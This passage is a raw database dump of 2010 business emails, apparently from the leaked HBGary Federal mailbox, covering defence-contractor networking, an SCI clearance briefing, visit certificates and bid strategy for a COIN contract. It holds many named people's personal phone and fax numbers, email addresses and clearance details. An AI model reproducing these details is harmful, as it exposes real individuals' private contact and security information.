\r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 6:37 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nCrap.  There was an idea about an AI botnet.  We\r\ntalked about hbgarys tmc and the ano.  Was it about JCD and using the\r\nrepository portal as a better tool for external and internal comms?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:07 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat were we talking\r\nabout on the phone last night that I asked you to email me about? \r\nI have already forgot but I know it was something that I wanted to follow-up\r\non.   That’s why I asked you to email me about it.  What was it?\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16814,'aaron_hbgary_com/16814.html'),(4140,'2010-03-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002189.M440993P3547Q4140.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Info from last night','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI mentioned that we have a guy that we have partnered with on\r\nanother effort that has some, supposedly, good contacts in DISA where the POC\r\nhas money to be used for smart stuff.&nbsp; \r\n\r\nWho is the agency responsible for JCD?&nbsp; NSA?&nbsp; Ok, and who is\r\nDave Luber again?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 6:58 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJcd is the current database used by government to\r\ncommunicate about incidents. &nbsp;Ngis has the contract. &nbsp;It sucks and\r\nthere are efforts to replace it. &nbsp;Dave Luber was talking about the TMC\r\nportal being a means to communicate about malware between orgs.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:39 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.&nbsp;\r\nSucks to get old.\r\n\r\nAI\r\nBotnet.&nbsp; That was an additional Greg idea.&nbsp; It there a writeup on\r\nthat.&nbsp; I remember saying that as a non-botnet, it could be\r\ninteresting.&nbsp; TMC and ANO I remember.&nbsp; What was JCD?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 6:37 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCrap.\r\n&nbsp;There was an idea about an AI botnet. &nbsp;We talked about hbgarys tmc\r\nand the ano. &nbsp;Was it about JCD and using the repository portal as a better\r\ntool for external and internal comms?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:07 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat were we talking\r\nabout on the phone last night that I asked you to email me about?&nbsp;\r\nI have already forgot but I know it was something that I wanted to follow-up on.&nbsp;&nbsp;\r\nThat&#8217;s why I asked you to email me about it.&nbsp; What was it?\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3552,'aaron_hbgary_com/3552.html'),(4141,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002189.M639991P3547Q4141.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Info from last night','Disa is responsible for jcd but jtf-gno is the maintainer or driver for jcd requirements.  Dave Luber runs the ano.From my iPhoneOn Mar 17, 2010, at 7:01 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI mentioned that we have a guy that we have partnered with on\r\nanother effort that has some, supposedly, good contacts in DISA where the POC\r\nhas money to be used for smart stuff.  \r\n\r\nWho is the agency responsible for JCD?  NSA?  Ok, and who is\r\nDave Luber again?\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 6:58 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nJcd is the current database used by government to\r\ncommunicate about incidents.  Ngis has the contract.  It sucks and\r\nthere are efforts to replace it.  Dave Luber was talking about the TMC\r\nportal being a means to communicate about malware between orgs.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:39 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk. \r\nSucks to get old.\r\n\r\nAI\r\nBotnet.  That was an additional Greg idea.  It there a writeup on\r\nthat.  I remember saying that as a non-botnet, it could be\r\ninteresting.  TMC and ANO I remember.  What was JCD?\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, March 17, 2010 6:37 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nCrap.\r\n There was an idea about an AI botnet.  We talked about hbgarys tmc\r\nand the ano.  Was it about JCD and using the repository portal as a better\r\ntool for external and internal comms?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:07 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat were we talking\r\nabout on the phone last night that I asked you to email me about? \r\nI have already forgot but I know it was something that I wanted to follow-up on.  \r\nThat’s why I asked you to email me about it.  What was it?\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13138,'aaron_hbgary_com/13138.html'),(4142,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002189.M834043P3547Q4142.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Re: Info from last night','This is the crazy thing right? &nbsp;NGIS has JTF-GNO, JCD, JFCC-NW, 1st IO. &nbsp;They have the controlling show for national cyber. &nbsp;but JCD has been squandered, JTF was in bad shape, not sure where it is now, they are loosing some of their best talent from JFCC-NW. &nbsp;Did you know Paul Thrasher left NG to go back to TASC? &nbsp;Not sure if you knew Paul but he used to be an NSA govie that ran NTOC a while back. &nbsp;They don\'t know how to connect with their programs, pull the relevant information, and put something together thats a discriminator for them...ah anyways...was any of that it? :)On Mar 17, 2010, at 7:48 AM, Aaron Barr wrote:Disa is responsible for jcd but jtf-gno is the maintainer or driver for jcd requirements. &nbsp;Dave Luber runs the ano.From my iPhoneOn Mar 17, 2010, at 7:01 AM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\nI mentioned that we have a guy that we have partnered with on\r\nanother effort that has some, supposedly, good contacts in DISA where the POC\r\nhas money to be used for smart stuff.&nbsp; Who is the agency responsible for JCD?&nbsp; NSA?&nbsp; Ok, and who is\r\nDave Luber again?&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 6:58 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJcd is the current database used by government to\r\ncommunicate about incidents. &nbsp;Ngis has the contract. &nbsp;It sucks and\r\nthere are efforts to replace it. &nbsp;Dave Luber was talking about the TMC\r\nportal being a means to communicate about malware between orgs.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:39 AM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.&nbsp;\r\nSucks to get old.AI\r\nBotnet.&nbsp; That was an additional Greg idea.&nbsp; It there a writeup on\r\nthat.&nbsp; I remember saying that as a non-botnet, it could be\r\ninteresting.&nbsp; TMC and ANO I remember.&nbsp; What was JCD?&nbsp;\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, March 17, 2010 6:37 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCrap.\r\n&nbsp;There was an idea about an AI botnet. &nbsp;We talked about hbgarys tmc\r\nand the ano. &nbsp;Was it about JCD and using the repository portal as a better\r\ntool for external and internal comms?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:07 AM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,What were we talking\r\nabout on the phone last night that I asked you to email me about?&nbsp;\r\nI have already forgot but I know it was something that I wanted to follow-up on.&nbsp;&nbsp;\r\nThat’s why I asked you to email me about it.&nbsp; What was it?BrianBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5832,'aaron_hbgary_com/5832.html'),(4143,'2010-03-17','\"Willson, Jonathan G (TASC)\" <Jonathan.G.Willson@tasc.com>','/aaron@hbgary.com/new/1297002190.M240401P3547Q4144.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Security Briefing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI have CC&#8217;d Bill Choate who is your PSO. He will be able\r\nto send in a visit cert for you.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nJonathan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 16, 2010 10:38 PM\r\nTo: Willson, Jonathan G (TASC)\r\nSubject: Re: Security Briefing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Jonathan. &nbsp;I got briefed today.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a favor to ask. &nbsp;Can you forward a visit CERT to\r\nLockheed Martin. &nbsp;They are the PM for the UNO contract, which HBGary is an\r\nauthorized bidder. &nbsp;This has relevance for our existing work on COIN.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSecurity POC - Martha Chapman, Voice 703-466-3325, Unclas\r\nFAX 703-466-3340,\r\n\r\n\r\n\r\n\r\n\r\nSecure\r\nFAX 703-466-3321.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank You,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 10:22 AM, Willson, Jonathan G (TASC Inc)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot a problem. when you arrive, have a seat in the lobby, and at\r\n8:30 the someone will come out to escort you to the briefing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJonathan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 10,\r\n2010 9:45 AM\r\nTo:&nbsp;Willson, Jonathan G\r\n(TASC)\r\nSubject:&nbsp;Re: Security\r\nBriefing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI would like to do it next Tuesday if possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 9:31 AM, &quot;Willson, Jonathan G (TASC Inc)&quot; &lt;Jonathan.G.Willson@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr,\r\n\r\nI have received notification that your\r\nclearance request has been approved. You will need to attend our security\r\nbriefing for indoctrination in to your SCI accesses. This briefing is offered\r\nevery week at the following times:\r\n\r\nTuesday, 8:30 am\r\n\r\nThursday, 8:30 am\r\n\r\nPlease let me know by 2:00 pm the day\r\nbefore the scheduled briefing which date will work best for you (reply all).\r\nAll the briefings are held at 4801 Stonecroft Blvd.\r\n\r\nJonathan Willson\r\nPersonnel\r\nSecurity\r\nNorthrop\r\nGrumman TASC\r\n4801\r\nStonecroft Blvd.\r\nChantilly,\r\nVA 20151\r\n703.653.5779\r\n(phone)\r\n\r\n703.633.8460\r\n(fax)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7572,'aaron_hbgary_com/7572.html'),(4144,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002190.M26868P3547Q4143.eml','\"Phil Porras\" <porras@csl.sri.com>','Discussion Today','Phil,\r\n\r\nWant to continue our conversation today?  I am almost done with your RFP.  We can modify if we need to but want to get something in front of you to look at.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7089,'aaron_hbgary_com/7089.html'),(4145,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002190.M442065P3547Q4145.eml','\"Willson, Jonathan G (TASC)\" <Jonathan.G.Willson@tasc.com>','Re: Security Briefing','Ok thank you.From my iPhoneOn Mar 17, 2010, at 8:07 AM, &quot;Willson, Jonathan G (TASC)&quot; &lt;Jonathan.G.Willson@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have CC’d Bill Choate who is your PSO. He will be able\r\nto send in a visit cert for you.\r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\nJonathan\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 16, 2010 10:38 PM\r\nTo: Willson, Jonathan G (TASC)\r\nSubject: Re: Security Briefing\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks Jonathan.  I got briefed today.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI have a favor to ask.  Can you forward a visit CERT to\r\nLockheed Martin.  They are the PM for the UNO contract, which HBGary is an\r\nauthorized bidder.  This has relevance for our existing work on COIN.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSecurity POC - Martha Chapman, Voice 703-466-3325, Unclas\r\nFAX 703-466-3340,\r\n\r\n\r\n\r\n\r\n\r\nSecure\r\nFAX 703-466-3321.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThank You,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 10:22 AM, Willson, Jonathan G (TASC Inc)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot a problem. when you arrive, have a seat in the lobby, and at\r\n8:30 the someone will come out to escort you to the briefing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJonathan\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10,\r\n2010 9:45 AM\r\nTo: Willson, Jonathan G\r\n(TASC)\r\nSubject: Re: Security\r\nBriefing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI would like to do it next Tuesday if possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 9:31 AM, &quot;Willson, Jonathan G (TASC Inc)&quot; &lt;Jonathan.G.Willson@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr,\r\n\r\nI have received notification that your\r\nclearance request has been approved. You will need to attend our security\r\nbriefing for indoctrination in to your SCI accesses. This briefing is offered\r\nevery week at the following times:\r\n\r\nTuesday, 8:30 am\r\n\r\nThursday, 8:30 am\r\n\r\nPlease let me know by 2:00 pm the day\r\nbefore the scheduled briefing which date will work best for you (reply all).\r\nAll the briefings are held at 4801 Stonecroft Blvd.\r\n\r\nJonathan Willson\r\nPersonnel\r\nSecurity\r\nNorthrop\r\nGrumman TASC\r\n4801\r\nStonecroft Blvd.\r\nChantilly,\r\nVA 20151\r\n703.653.5779\r\n(phone)\r\n\r\n703.633.8460\r\n(fax)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',412,'aaron_hbgary_com/412.html'),(4146,'2010-03-17','shane.sims@us.pwc.com','/aaron@hbgary.com/new/1297002190.M672210P3547Q4146.eml','aaron@hbgary.com','Re: PwC Statement Of Quals','\r\n10-4, thanks. &nbsp;hope all is well.\r\n\r\nRegards, Shane\r\n___________________________________________________________________________________________________________\r\nShane Sims, Director\r\n| Advisory - Forensic Services | PricewaterhouseCoopers | Mobile:\r\n202 262 9735 | shane.sims@us.pwc.com\r\nInvestigations - Crisis Management\r\n- Risk Assessments:\r\nCybercrime &amp; Data Theft | Insider Threat | Fraud &amp; Abuse | Money\r\nLaundering | Advanced Due Diligence | FCPA \r\nThe information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.  Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited.   If you received this in error, please contact the sender and delete the material from any computer.  PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n',4733,'aaron_hbgary_com/4733.html'),(4147,'2010-03-17','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002190.M859492P3547Q4147.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Antacid','Hi Aaron,\r\n\r\nBadge for TASC should be no problem.  We can work that next time you are\r\nhere.  Customer badge should be OK but need to check with customer.\r\n\r\nStand by for that.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 16, 2010 10:35 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSubject: Re: Antacid\r\n\r\nGood to talk with you today.  A few comments and a question.  Question\r\nfirst.\r\n\r\nIs it possible to submit me for a re-issue of my badge so I can easily\r\nget access into the bldg and folks inside?  The are multiple \"customers\"\r\nfor the COIN group that I would like to get a feeling from as far as\r\ndirection, requirements, etc.\r\n\r\nComments based on our discussion today.  The SAIC teaming idea sounds\r\ninteresting.  At the end of the day what piece of that contract are you\r\nlooking for, is it just the development piece?  If so are they willing\r\nto give that piece to you since they are so weak in it?  If so then\r\nmaybe being a sub would be terrible in order to assure a win.  I would\r\ndefinitely want to know who they have filling marketing and advertising\r\nrole, if anyone, and if they have other developers, who are they?\r\n\r\nOn the risky side of going it as a prime without SAIC here is what I see\r\nas necessary to tell a winning story.\r\n1. Commercial grade marketing and advertising (foreign experience a huge\r\nplus - Leoni Industries or like).\r\n2. MOE - akamai, gartner, or combination.  The thing you have to be able\r\nto measure is the \"stickiness\" of the message.  More to talk about here.\r\n3. Commercial grade (or close to it) development especially mobile.  I\r\nthink we can tell a better mobile story than anyone else, but a strong\r\npartner would help).\r\n4.  Infrastructure (Improve ravenwings architecture, maybe use Abraxis,\r\nHP-EDS, or something else we concoct).  I think we can tell the best\r\nstory here.\r\n5. OPS especially operators familiar with that organization if possible.\r\nThis will be tough to beat SAIC unless we get a strong partner.  Abraxis\r\npeople are seen as higher quality but more expensive.  SAIC people are\r\nseen as competent and better priced.\r\n6.  Language and cultural relevance.  This is definitely important and\r\nthe more I think about it I think you can paint a very positive story\r\nhere because you have them and they have been doing media for quite some\r\ntime.  You don\'t need an army of them, just enough to help satisfy their\r\ngaps, yours and maybe a few adds could be the winner.  I actually have a\r\nfew SAIC native arabs I know that we can try and get if it gets to that.\r\n\r\nA few pluses to the story you can tell.  The current SCIF you own and\r\njust lease to NG.\r\n\r\nAs an option I would use the commercial idea we talked about as a priced\r\noption or something like it.\r\n\r\nJust a few notes.  Let me know what the next step is.  Another thing I\r\nthink we need to do is come up with a few gems to get them interested,\r\nthings we could do if on contract.  We were always known for coming up\r\nwith the creative ideas for the shop, when Ted and I started doing other\r\nthings it was commented that capability had gone away.  The current NG\r\nteam is technicians only, no creativity.\r\n\r\nBTW, we have already hired two people from the existing team and will\r\nhire more as we get work that fits the skill sets.  Eric Hallam, who is\r\nvery well liked by the customer is being hired by Lawrence Hill in COS.\r\n\r\nAaron\r\n\r\nOn Mar 15, 2010, at 9:49 AM, Clair, Chris (TASC) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> We have not met with Abraxis yet.  I\'ll pass on the RavenWing notion\r\nto\r\n> John.\r\n> \r\n> John - Do we have any contacts at RavenWing?\r\n> \r\n> Thanks,\r\n> \r\n> Chris \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, March 14, 2010 12:09 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Ted Vera\r\n> Subject: Antacid\r\n> \r\n> Hey chris,\r\n> \r\n> Have you all talked with abraxis, and if so how did it go?  Might be a\r\n> good idea to talk with RavenWing as another potential infrastructure\r\n> capability.  We might be able to improve their existing capability.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12153,'aaron_hbgary_com/12153.html'),(4148,'2010-03-17','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297002191.M403944P3547Q4149.eml','\"Willson, Jonathan G (TASC)\" <Jonathan.G.Willson@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Security Briefing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I will send this morning.&nbsp; Who is the technical\r\nPOC and phone number.&nbsp; I will perm cert to end of year.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Willson, Jonathan G\r\n(TASC) \r\nSent: Wednesday, March 17, 2010 8:08 AM\r\nTo: \'Aaron Barr\'\r\nCc: Choate, William R (TASC)\r\nSubject: RE: Security Briefing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI have CC&#8217;d Bill Choate who is your PSO. He will be able to send\r\nin a visit cert for you.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nJonathan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 16, 2010 10:38 PM\r\nTo: Willson, Jonathan G (TASC)\r\nSubject: 